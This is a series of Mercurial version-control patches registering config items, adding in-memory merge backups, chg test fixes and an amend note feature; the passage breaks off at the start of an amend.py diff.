# User Boris Feld <boris.feld@octobus.net>
# Date 1507933693 -7200
#      Sat Oct 14 00:28:13 2017 +0200
# Node ID 607085aa4d676db7894adfbc6f8eeabdd1c5ec4c
# Parent  7be2f229285b58b5cdf0f8392357bd6d0566dad2
configitems: register the 'hostsecurity.*:minimumprotocol' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -475,6 +475,10 @@
 coreconfigitem('hostsecurity', 'minimumprotocol',
     default=dynamicdefault,
 )
+coreconfigitem('hostsecurity', '.*:minimumprotocol$',
+    default=dynamicdefault,
+    generic=True,
+)
 coreconfigitem('http_proxy', 'always',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507933728 -7200
#      Sat Oct 14 00:28:48 2017 +0200
# Node ID fd4caf1b23f664e3c9f0dbfac312f64c4bedd908
# Parent  607085aa4d676db7894adfbc6f8eeabdd1c5ec4c
configitems: register the 'hostsecurity.*:ciphers' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -479,6 +479,10 @@
     default=dynamicdefault,
     generic=True,
 )
+coreconfigitem('hostsecurity', '.*:ciphers$',
+    default=dynamicdefault,
+    generic=True,
+)
 coreconfigitem('http_proxy', 'always',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507933771 -7200
#      Sat Oct 14 00:29:31 2017 +0200
# Node ID 17919e9006b9d00fe207fed43e742ce2945367f6
# Parent  fd4caf1b23f664e3c9f0dbfac312f64c4bedd908
configitems: register the 'hostsecurity.*:fingerprints' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -483,6 +483,10 @@
     default=dynamicdefault,
     generic=True,
 )
+coreconfigitem('hostsecurity', '.*:fingerprints$',
+    default=list,
+    generic=True,
+)
 coreconfigitem('http_proxy', 'always',
     default=False,
 )
diff --git a/mercurial/sslutil.py b/mercurial/sslutil.py
--- a/mercurial/sslutil.py
+++ b/mercurial/sslutil.py
@@ -186,8 +186,7 @@
 
     # Look for fingerprints in [hostsecurity] section. Value is a list
     # of <alg>:<fingerprint> strings.
-    fingerprints = ui.configlist('hostsecurity', '%s:fingerprints' % hostname,
-                                 [])
+    fingerprints = ui.configlist('hostsecurity', '%s:fingerprints' % hostname)
     for fingerprint in fingerprints:
         if not (fingerprint.startswith(('sha1:', 'sha256:', 'sha512:'))):
             raise error.Abort(_('invalid fingerprint for %s: %s') % (
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507933814 -7200
#      Sat Oct 14 00:30:14 2017 +0200
# Node ID 48d2b396cf6c2a891e76a5a2e72721afc391dcfb
# Parent  17919e9006b9d00fe207fed43e742ce2945367f6
configitems: register the 'hostsecurity.*:verifycertsfile' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -487,6 +487,11 @@
     default=list,
     generic=True,
 )
+coreconfigitem('hostsecurity', '.*:verifycertsfile$',
+    default=None,
+    generic=True,
+)
+
 coreconfigitem('http_proxy', 'always',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507934037 -7200
#      Sat Oct 14 00:33:57 2017 +0200
# Node ID bb2525871d957b195737c0680968830d9814d5b8
# Parent  48d2b396cf6c2a891e76a5a2e72721afc391dcfb
configitems: register the 'exdiff.opts.*' config

diff --git a/hgext/extdiff.py b/hgext/extdiff.py
--- a/hgext/extdiff.py
+++ b/hgext/extdiff.py
@@ -84,6 +84,15 @@
 
 cmdtable = {}
 command = registrar.command(cmdtable)
+
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('extdiff', r'opts\..*',
+    default='',
+    generic=True,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
@@ -369,7 +378,7 @@
                 path = util.findexe(cmd)
                 if path is None:
                     path = filemerge.findexternaltool(ui, cmd) or cmd
-            diffopts = ui.config('extdiff', 'opts.' + cmd, '')
+            diffopts = ui.config('extdiff', 'opts.' + cmd)
             cmdline = util.shellquote(path)
             if diffopts:
                 cmdline += ' ' + diffopts
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507934086 -7200
#      Sat Oct 14 00:34:46 2017 +0200
# Node ID bf138446ac2f556e5c383adc3cb8c213fce08f44
# Parent  bb2525871d957b195737c0680968830d9814d5b8
configitems: register the 'extdata.*.diffargs' config

diff --git a/hgext/extdiff.py b/hgext/extdiff.py
--- a/hgext/extdiff.py
+++ b/hgext/extdiff.py
@@ -93,6 +93,11 @@
     generic=True,
 )
 
+configitem('diff-tools', r'.*\.diffargs$',
+    default=None,
+    generic=True,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507936501 -7200
#      Sat Oct 14 01:15:01 2017 +0200
# Node ID cfb054a7ecc45bcaac95f1e64b644dd0411ffe41
# Parent  bf138446ac2f556e5c383adc3cb8c213fce08f44
configitems: register acl config section

diff --git a/hgext/acl.py b/hgext/acl.py
--- a/hgext/acl.py
+++ b/hgext/acl.py
@@ -218,6 +218,26 @@
 configitem('acl', 'config',
     default=None,
 )
+configitem('acl.groups', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.deny.branches', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.allow.branches', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.deny', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.allow', '.*',
+    default=None,
+    generic=True,
+)
 configitem('acl', 'sources',
     default=lambda: ['serve'],
 )
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508172542 -19800
#      Mon Oct 16 22:19:02 2017 +0530
# Node ID 070ba789f4d023a9108bdf32037e49d93f3b74bc
# Parent  cfb054a7ecc45bcaac95f1e64b644dd0411ffe41
releasenotes: fix documentation of similaritycheck()

The function document says that it returns true when the fragment can be merged,
but if you see the function just above it which is similar(), it writes already
exists thing if return value from similaritycheck() is False which is just
opposite of the doc. This patch fixes that.

Differential Revision: https://phab.mercurial-scm.org/D1119

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -216,7 +216,7 @@
 
 def similaritycheck(incoming_str, existingnotes):
     """
-    Returns true when note fragment can be merged to existing notes.
+    Returns false when note fragment can be merged to existing notes.
     """
     import fuzzywuzzy.fuzz as fuzz
     merge = True
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1505863063 -19800
#      Wed Sep 20 04:47:43 2017 +0530
# Node ID fe987d0b9e1ea29b98203bc3236cd75c6abb043a
# Parent  070ba789f4d023a9108bdf32037e49d93f3b74bc
registrar: add support for storing the type of command in func object

This patch adds support for storing the type of command which is going to run in
the func object. For this it does the following:

1) Add three possible values as attributes to the registrar.command class
2) Add a new argument to registrar.command._doregister function
3) Add a new attribute cmdtype to the func object

The type of command will be helpful in deciding what level of access on hidden
commits it can has.

Differential Revision: https://phab.mercurial-scm.org/D736

diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -35,11 +35,14 @@
     hook,
     profiling,
     pycompat,
+    registrar,
     scmutil,
     ui as uimod,
     util,
 )
 
+unrecoverablewrite = registrar.command.unrecoverablewrite
+
 class request(object):
     def __init__(self, args, ui=None, repo=None, fin=None, fout=None,
                  ferr=None, prereposetups=None):
@@ -495,7 +498,7 @@
         return aliasargs(self.fn, args)
 
     def __getattr__(self, name):
-        adefaults = {r'norepo': True,
+        adefaults = {r'norepo': True, r'cmdtype': unrecoverablewrite,
                      r'optionalrepo': False, r'inferrepo': False}
         if name not in adefaults:
             raise AttributeError(name)
diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -7,6 +7,7 @@
 
 from __future__ import absolute_import
 
+from .i18n import _
 from . import (
     configitems,
     error,
@@ -131,13 +132,35 @@
     command line arguments. If True, arguments will be examined for potential
     repository locations. See ``findrepo()``. If a repository is found, it
     will be used.
+
+    There are three constants in the class which tells what type of the command
+    that is. That information will be helpful at various places. It will be also
+    be used to decide what level of access the command has on hidden commits.
+    The constants are:
+
+    unrecoverablewrite is for those write commands which can't be recovered like
+    push.
+    recoverablewrite is for write commands which can be recovered like commit.
+    readonly is for commands which are read only.
     """
 
+    unrecoverablewrite = "unrecoverable"
+    recoverablewrite = "recoverable"
+    readonly = "readonly"
+
     def _doregister(self, func, name, options=(), synopsis=None,
-                    norepo=False, optionalrepo=False, inferrepo=False):
+                    norepo=False, optionalrepo=False, inferrepo=False,
+                    cmdtype=unrecoverablewrite):
+
+        possiblecmdtypes = set([self.unrecoverablewrite, self.recoverablewrite,
+                                self.readonly])
+        if cmdtype not in possiblecmdtypes:
+            raise error.ProgrammingError(_("unknown cmdtype value '%s' for "
+                                            "'%s' command") % (cmdtype, name))
         func.norepo = norepo
         func.optionalrepo = optionalrepo
         func.inferrepo = inferrepo
+        func.cmdtype = cmdtype
         if synopsis:
             self._table[name] = func, list(options), synopsis
         else:
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1508184655 25200
#      Mon Oct 16 13:10:55 2017 -0700
# Node ID f21eecc64ace88f2eeeaadabdd99e8829f45758f
# Parent  fe987d0b9e1ea29b98203bc3236cd75c6abb043a
filemerge: use arbitraryfilectx for backups

 With in-memory merge, backup files might be overlayworkingfilectxs stored
in memory. But they could also be real files if the user's backup directory is
outside the working dir.

Rather than have two code paths everywhere, let's use arbitraryfilectx so they
can be consistent.

Differential Revision: https://phab.mercurial-scm.org/D1057

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -7,7 +7,6 @@
 
 from __future__ import absolute_import
 
-import filecmp
 import os
 import re
 import tempfile
@@ -226,9 +225,9 @@
         return '\n'
     return None # unknown
 
-def _matcheol(file, origfile):
+def _matcheol(file, back):
     "Convert EOL markers in a file to match origfile"
-    tostyle = _eoltype(util.readfile(origfile))
+    tostyle = _eoltype(back.data()) # No repo.wread filters?
     if tostyle:
         data = util.readfile(file)
         style = _eoltype(data)
@@ -505,7 +504,9 @@
 
         args = _toolstr(ui, tool, "args", '$local $base $other')
         if "$output" in args:
-            out, a = a, back # read input from backup, write to original
+            # read input from backup, write to original
+            out = a
+            a = repo.wvfs.join(back.path())
         replace = {'local': a, 'base': b, 'other': c, 'output': out}
         args = util.interpolate(r'\$', replace, args,
                                 lambda s: util.shellquote(util.localpath(s)))
@@ -588,10 +589,10 @@
 def _restorebackup(fcd, back):
     # TODO: Add a workingfilectx.write(otherfilectx) path so we can use
     # util.copy here instead.
-    fcd.write(util.readfile(back), fcd.flags())
+    fcd.write(back.data(), fcd.flags())
 
-def _makebackup(repo, ui, fcd, premerge):
-    """Makes a backup of the local `fcd` file prior to merging.
+def _makebackup(repo, ui, wctx, fcd, premerge):
+    """Makes and returns a filectx-like object for ``fcd``'s backup file.
 
     In addition to preserving the user's pre-existing modifications to `fcd`
     (if any), the backup is used to undo certain premerges, confirm whether a
@@ -600,12 +601,14 @@
     """
     if fcd.isabsent():
         return None
-
+    # TODO: Break this import cycle somehow. (filectx -> ctx -> fileset ->
+    # merge -> filemerge). (I suspect the fileset import is the weakest link)
+    from . import context
     a = _workingpath(repo, fcd)
     back = scmutil.origpath(ui, repo, a)
     if premerge:
         util.copyfile(a, back)
-    return back
+    return context.arbitraryfilectx(back, repo=repo)
 
 def _maketempfiles(repo, fco, fca):
     """Writes out `fco` and `fca` as temporary files, so an external merge
@@ -691,7 +694,7 @@
             ui.warn(onfailure % fd)
         return True, 1, False
 
-    back = _makebackup(repo, ui, fcd, premerge)
+    back = _makebackup(repo, ui, wctx, fcd, premerge)
     files = (None, None, None, back)
     r = 1
     try:
@@ -719,7 +722,7 @@
         return True, r, deleted
     finally:
         if not r and back is not None:
-            util.unlink(back)
+            back.remove()
 
 def _check(repo, r, ui, tool, fcd, files):
     fd = fcd.path()
@@ -741,7 +744,7 @@
     if not r and not checked and (_toolbool(ui, tool, "checkchanged") or
                                   'changed' in
                                   _toollist(ui, tool, "check")):
-        if back is not None and filecmp.cmp(_workingpath(repo, fcd), back):
+        if back is not None and not fcd.cmp(back):
             if ui.promptchoice(_(" output file %s appears unchanged\n"
                                  "was merge successful (yn)?"
                                  "$$ &Yes $$ &No") % fd, 1):
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1507923262 25200
#      Fri Oct 13 12:34:22 2017 -0700
# Node ID 0c812885586b3d97dedb4c54d80586e2993eba42
# Parent  f21eecc64ace88f2eeeaadabdd99e8829f45758f
context: add overlayfilectx.cmp()

Differential Revision: https://phab.mercurial-scm.org/D1058

diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -2098,6 +2098,9 @@
         self._parent = parent
         self._path = path
 
+    def cmp(self, fctx):
+        return self.data() != fctx.data()
+
     def ctx(self):
         return self._parent
 
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1507923262 25200
#      Fri Oct 13 12:34:22 2017 -0700
# Node ID 123a68e6b4739348d8ca2be66e84c079d1b52e9b
# Parent  0c812885586b3d97dedb4c54d80586e2993eba42
filemerge: store backups in the overlayworkingctx if using imm

Differential Revision: https://phab.mercurial-scm.org/D1059

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -606,9 +606,24 @@
     from . import context
     a = _workingpath(repo, fcd)
     back = scmutil.origpath(ui, repo, a)
-    if premerge:
-        util.copyfile(a, back)
-    return context.arbitraryfilectx(back, repo=repo)
+    inworkingdir = (back.startswith(repo.wvfs.base) and not
+        back.startswith(repo.vfs.base))
+
+    if isinstance(fcd, context.overlayworkingfilectx) and inworkingdir:
+        # If the backup file is to be in the working directory, and we're
+        # merging in-memory, we must redirect the backup to the memory context
+        # so we don't disturb the working directory.
+        relpath = back[len(repo.wvfs.base) + 1:]
+        wctx[relpath].write(fcd.data(), fcd.flags())
+        return wctx[relpath]
+    else:
+        # Otherwise, write to wherever the user specified the backups should go.
+        #
+        # A arbitraryfilectx is returned, so we can run the same functions on
+        # the backup context regardless of where it lives.
+        if premerge:
+            util.copyfile(a, back)
+        return context.arbitraryfilectx(back, repo=repo)
 
 def _maketempfiles(repo, fco, fca):
     """Writes out `fco` and `fca` as temporary files, so an external merge
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1508124989 25200
#      Sun Oct 15 20:36:29 2017 -0700
# Node ID 1af4561b6bfed74eb40387d6800d46401582fcaa
# Parent  123a68e6b4739348d8ca2be66e84c079d1b52e9b
filemerge: add a missing flushall()

Differential Revision: https://phab.mercurial-scm.org/D1060

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -467,6 +467,12 @@
     a = _workingpath(repo, fcd)
     fd = fcd.path()
 
+    # Run ``flushall()`` to make any missing folders the following wwrite
+    # calls might be depending on.
+    from . import context
+    if isinstance(fcd, context.overlayworkingfilectx):
+        fcd.ctx().flushall()
+
     util.writefile(a + ".local", fcd.decodeddata())
     repo.wwrite(fd + ".other", fco.data(), fco.flags())
     repo.wwrite(fd + ".base", fca.data(), fca.flags())
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1508124989 25200
#      Sun Oct 15 20:36:29 2017 -0700
# Node ID 9c899660700ace2385509d289efad0adfe9f86d3
# Parent  1af4561b6bfed74eb40387d6800d46401582fcaa
merge: don't use workers in in-memory mode

The worker processes can't share memory, so workers should not be used.

Differential Revision: https://phab.mercurial-scm.org/D1105

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1427,8 +1427,12 @@
         z += 1
         progress(_updating, z, item=f, total=numupdates, unit=_files)
 
+    # When merging in-memory, we can't support worker processes, so set the
+    # per-item cost at 0 in that case.
+    cost = 0 if wctx.isinmemory() else 0.001
+
     # remove in parallel (must come before resolving path conflicts and getting)
-    prog = worker.worker(repo.ui, 0.001, batchremove, (repo, wctx),
+    prog = worker.worker(repo.ui, cost, batchremove, (repo, wctx),
                          actions['r'])
     for i, item in prog:
         z += i
@@ -1452,7 +1456,7 @@
     wctx.flushall()
 
     # get in parallel
-    prog = worker.worker(repo.ui, 0.001, batchget, (repo, mctx, wctx),
+    prog = worker.worker(repo.ui, cost, batchget, (repo, mctx, wctx),
                          actions['g'])
     for i, item in prog:
         z += i
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1508124989 25200
#      Sun Oct 15 20:36:29 2017 -0700
# Node ID 754b5117622f2a60c408fcd61fa6183ccb1c1e92
# Parent  9c899660700ace2385509d289efad0adfe9f86d3
context: add workingfilectx.markcopied

With in-memory merge, copy information needs to be stored in-memory, not in the
dirstate.

To make this transition easy, move the existing dirstate-based approach to
workingfilectx; that way, other implementations can choose to store it
somewhere else.

Differential Revision: https://phab.mercurial-scm.org/D1106

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -977,10 +977,11 @@
         repo.ui.debug("   detach base %d:%s\n" % (base, repo[base]))
     # When collapsing in-place, the parent is the common ancestor, we
     # have to allow merging with it.
+    wctx = repo[None]
     stats = mergemod.update(repo, rev, True, True, base, collapse,
                             labels=['dest', 'source'])
     if collapse:
-        copies.duplicatecopies(repo, rev, dest)
+        copies.duplicatecopies(repo, wctx, rev, dest)
     else:
         # If we're not using --collapse, we need to
         # duplicate copies between the revision we're
@@ -988,7 +989,7 @@
         # duplicate any copies that have already been
         # performed in the destination.
         p1rev = repo[rev].p1().rev()
-        copies.duplicatecopies(repo, rev, p1rev, skiprev=dest)
+        copies.duplicatecopies(repo, wctx, rev, p1rev, skiprev=dest)
     return stats
 
 def adjustdest(repo, rev, destmap, state, skipped):
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1935,6 +1935,11 @@
         self._repo.wwrite(self._path, data, flags,
                           backgroundclose=backgroundclose)
 
+    def markcopied(self, src):
+        """marks this file a copy of `src`"""
+        if self._repo.dirstate[self._path] in "nma":
+            self._repo.dirstate.copy(src, self._path)
+
     def clearunknown(self):
         """Removes conflicting items in the working directory so that
         ``write()`` can be called successfully.
diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -842,7 +842,7 @@
                         data['incompletediverge'][sf] = [of, f]
                     return
 
-def duplicatecopies(repo, rev, fromrev, skiprev=None):
+def duplicatecopies(repo, wctx, rev, fromrev, skiprev=None):
     '''reproduce copies from fromrev to rev in the dirstate
 
     If skiprev is specified, it's a revision that should be used to
@@ -863,5 +863,4 @@
         # actually be in the dirstate
         if dst in exclude:
             continue
-        if repo.dirstate[dst] in "nma":
-            repo.dirstate.copy(src, dst)
+        wctx[dst].markcopied(src)
diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -2001,5 +2001,5 @@
         repo.setparents(repo['.'].node(), pother)
         repo.dirstate.write(repo.currenttransaction())
         # fix up dirstate for copies and renames
-        copies.duplicatecopies(repo, ctx.rev(), pctx.rev())
+        copies.duplicatecopies(repo, repo[None], ctx.rev(), pctx.rev())
     return stats
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508181300 25200
#      Mon Oct 16 12:15:00 2017 -0700
# Node ID babd168e994bf2fe6bc66a4096409212f6c7e238
# Parent  754b5117622f2a60c408fcd61fa6183ccb1c1e92
histedit: remove the nonexistant config 'histeditng'

D942 removed the experimental config 'histeditng'. This is a leftover
which should have been removed in that commit. Therefore, this commit completes
the cleanup.

Test Plan:
Ran all the tests.

Differential Revision: https://phab.mercurial-scm.org/D1123

diff --git a/hgext/histedit.py b/hgext/histedit.py
--- a/hgext/histedit.py
+++ b/hgext/histedit.py
@@ -220,9 +220,6 @@
 configitem('experimental', 'histedit.autoverb',
     default=False,
 )
-configitem('experimental', 'histeditng',
-    default=False,
-)
 configitem('histedit', 'defaultrev',
     default=configitems.dynamicdefault,
 )
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508199261 25200
#      Mon Oct 16 17:14:21 2017 -0700
# Node ID 1ddc2547749f85065dc8e78d31271fd31d2c66ba
# Parent  babd168e994bf2fe6bc66a4096409212f6c7e238
test-dispatch: make the test compatible with chg

The test is broken when run with chg because it prints a different
error message when chg is running. This commit fixes the test by special casing
for chg.

Test Plan:
Ran the test 'test-dispatch.t' with and without '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D1126

diff --git a/tests/test-dispatch.t b/tests/test-dispatch.t
--- a/tests/test-dispatch.t
+++ b/tests/test-dispatch.t
@@ -69,7 +69,8 @@
   $ cd $TESTTMP/repo1
   $ rm -rf $TESTTMP/repo1
   $ HGDEMANDIMPORT=disable hg version -q
-  abort: error getting current working directory: * (glob)
+  abort: error getting current working directory: * (glob) (no-chg !)
+  chg: abort: failed to getcwd (errno = *) (glob) (chg !)
   [255]
 
 #endif
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508198792 25200
#      Mon Oct 16 17:06:32 2017 -0700
# Node ID 8197742362ddeb3d9f541f6beb1915f7dd44a7ce
# Parent  1ddc2547749f85065dc8e78d31271fd31d2c66ba
test-obsolete-bounds-checking: make the test compatible with chg

This test fails when run with chg because the error message starts
with "ProgrammingError" instead of "mercurial.error.ProgrammingError".
Therefore, globing the "mercurial.error." to ensure that the test is compatible
with chg.

Test Plan:
Ran the test 'test-obsolete-bounds-checking.t' with and without the
'--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D1127

diff --git a/tests/test-obsolete-bounds-checking.t b/tests/test-obsolete-bounds-checking.t
--- a/tests/test-obsolete-bounds-checking.t
+++ b/tests/test-obsolete-bounds-checking.t
@@ -20,4 +20,4 @@
   transaction abort!
   rollback completed
   Traceback (most recent call last):
-  mercurial.error.ProgrammingError: obsstore metadata value cannot be longer than 255 bytes (value "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <very.long.name@example.com>" for key "user" is 285 bytes)
+  *ProgrammingError: obsstore metadata value cannot be longer than 255 bytes (value "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <very.long.name@example.com>" for key "user" is 285 bytes) (glob)
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508200897 25200
#      Mon Oct 16 17:41:37 2017 -0700
# Node ID 03033e44ff5daa691cc83302ad86f70891d9f828
# Parent  8197742362ddeb3d9f541f6beb1915f7dd44a7ce
test-pager: make the test compatible with chg

D911 tried to make this test compatible with chg but instead resulted
in the test being flaky for chg. For now, disabling this test for chg because
it seems difficult to fix the test. This will allow for the continuous build
setup for chg.

Test Plan:
Ran the test 'test-pager.t' with and without the '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D1128

diff --git a/tests/test-pager.t b/tests/test-pager.t
--- a/tests/test-pager.t
+++ b/tests/test-pager.t
@@ -216,16 +216,6 @@
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     modify a 8
   
-#else
-Currently, chg has its own runpager implementation, which does not show the
-"missing pager" message. The error message is globed out since the shell could
-print different message.
-  $ hg log --limit 3 --config pager.pager=this-command-better-never-exist
-  /bin/sh: this-command-better-never-exist: command not found (?)
-  * (glob) (?)
-  killed!
-  [255]
-
 #endif
 
 A complicated pager command gets worse behavior. Bonus points if you can
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1508184393 25200
#      Mon Oct 16 13:06:33 2017 -0700
# Node ID 3b4b38130689e203e9bf5ce65c344567b87894fd
# Parent  03033e44ff5daa691cc83302ad86f70891d9f828
test-hgweb-annotate-whitespace: make test compatible with chg

D946 fixed a bunch of tests which had the same root cause. Please see
that for details. This seems to be one of the newer tests which fails because
of the same reason.

Test Plan:
Ran the test 'test-hgweb-annotate-whitespace.t' with and without the
'--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D1124

diff --git a/tests/test-hgweb-annotate-whitespace.t b/tests/test-hgweb-annotate-whitespace.t
--- a/tests/test-hgweb-annotate-whitespace.t
+++ b/tests/test-hgweb-annotate-whitespace.t
@@ -76,7 +76,7 @@
 
   $ hg serve -p $HGPORT -d --pid-file hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
-  $ hg --config annotate.ignorews=true serve -p $HGPORT1 -d --pid-file hg.pid
+  $ hg serve --config annotate.ignorews=true -p $HGPORT1 -d --pid-file hg.pid
   $ cat hg.pid >> $DAEMON_PIDS
   $ cd ..
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508058264 -19800
#      Sun Oct 15 14:34:24 2017 +0530
# Node ID 3df59451cdec29663fefa1b8d999721fbded7f4f
# Parent  3b4b38130689e203e9bf5ce65c344567b87894fd
scmutil: add capability to cleanupnodes to take obsmarker metadata

This patch adds a metadata argument to cleanupnodes() which will be dict and can
be passed to obsmarker.createmarkers() and can be stored on the obsmarker.
In cases when obsolescence is not enabled, the metadata argument is useless.

This is a step towards storing a note in amend.

Differential Revision: https://phab.mercurial-scm.org/D1093

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -613,7 +613,7 @@
     def __contains__(self, node):
         return self._revcontains(self._torev(node))
 
-def cleanupnodes(repo, replacements, operation, moves=None):
+def cleanupnodes(repo, replacements, operation, moves=None, metadata=None):
     """do common cleanups when old nodes are replaced by new nodes
 
     That includes writing obsmarkers or stripping nodes, and moving bookmarks.
@@ -625,6 +625,9 @@
 
     replacements is {oldnode: [newnode]} or a iterable of nodes if they do not
     have replacements. operation is a string, like "rebase".
+
+    metadata is dictionary containing metadata to be stored in obsmarker if
+    obsolescence is enabled.
     """
     if not replacements and not moves:
         return
@@ -695,7 +698,8 @@
                     for n, s in sorted(replacements.items(), key=sortfunc)
                     if s or not isobs(n)]
             if rels:
-                obsolete.createmarkers(repo, rels, operation=operation)
+                obsolete.createmarkers(repo, rels, operation=operation,
+                                       metadata=metadata)
         else:
             from . import repair # avoid import cycle
             tostrip = list(replacements)
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508061723 -19800
#      Sun Oct 15 15:32:03 2017 +0530
# Node ID 5781e0931c163a9a5892424a5867cc6f24497a7d
# Parent  3df59451cdec29663fefa1b8d999721fbded7f4f
cmdutil: pass metadata from amend() to cleanupnodes

`commit --amend` and amend command in core and extensions rely on
cmdutil.amend() for amending a commit. So the logic to add a note to amend must
reside here. This patch assumes that note will be passed in opts dictionary to
the function and it will be passed to cleanupnodes and then createmarkers to
store the note in the obsmarker metadata.

After this patch, note can be stored on an amend changeset by passing notes as a
part of opts to cmdutil.amend().

Differential Revision: https://phab.mercurial-scm.org/D1094

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3152,7 +3152,10 @@
         # Reroute the working copy parent to the new changeset
         repo.setparents(newid, nullid)
         mapping = {old.node(): (newid,)}
-        scmutil.cleanupnodes(repo, mapping, 'amend')
+        obsmetadata = None
+        if opts.get('note'):
+            obsmetadata = {'note': opts['note']}
+        scmutil.cleanupnodes(repo, mapping, 'amend', metadata=obsmetadata)
 
         # Fixing the dirstate because localrepo.commitctx does not update
         # it. This is rather convenient because we did not need to update
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1508075996 -19800
#      Sun Oct 15 19:29:56 2017 +0530
# Node ID 530b7361e3a92ea8ae4776d5f5355758093c8d95
# Parent  5781e0931c163a9a5892424a5867cc6f24497a7d
amend: add a flag `-n/--note` to store note with amend

This patch utilises the functionality added in previous patches and adds a flag
to amend command in hgext/amend to add a note to the amend. Since the note is
stored in the obsmarker metadata, this will only be useful when obsmarker
creation is enabled, otherwise this is no-op.

Not adding releasenotes part as we yet don't have a functionality in core to
show the note.

Differential Revision: https://phab.mercurial-scm.org/D1095

diff --git a/hgext/amend.py b/hgext/amend.py
--- a/hgext/amend.py
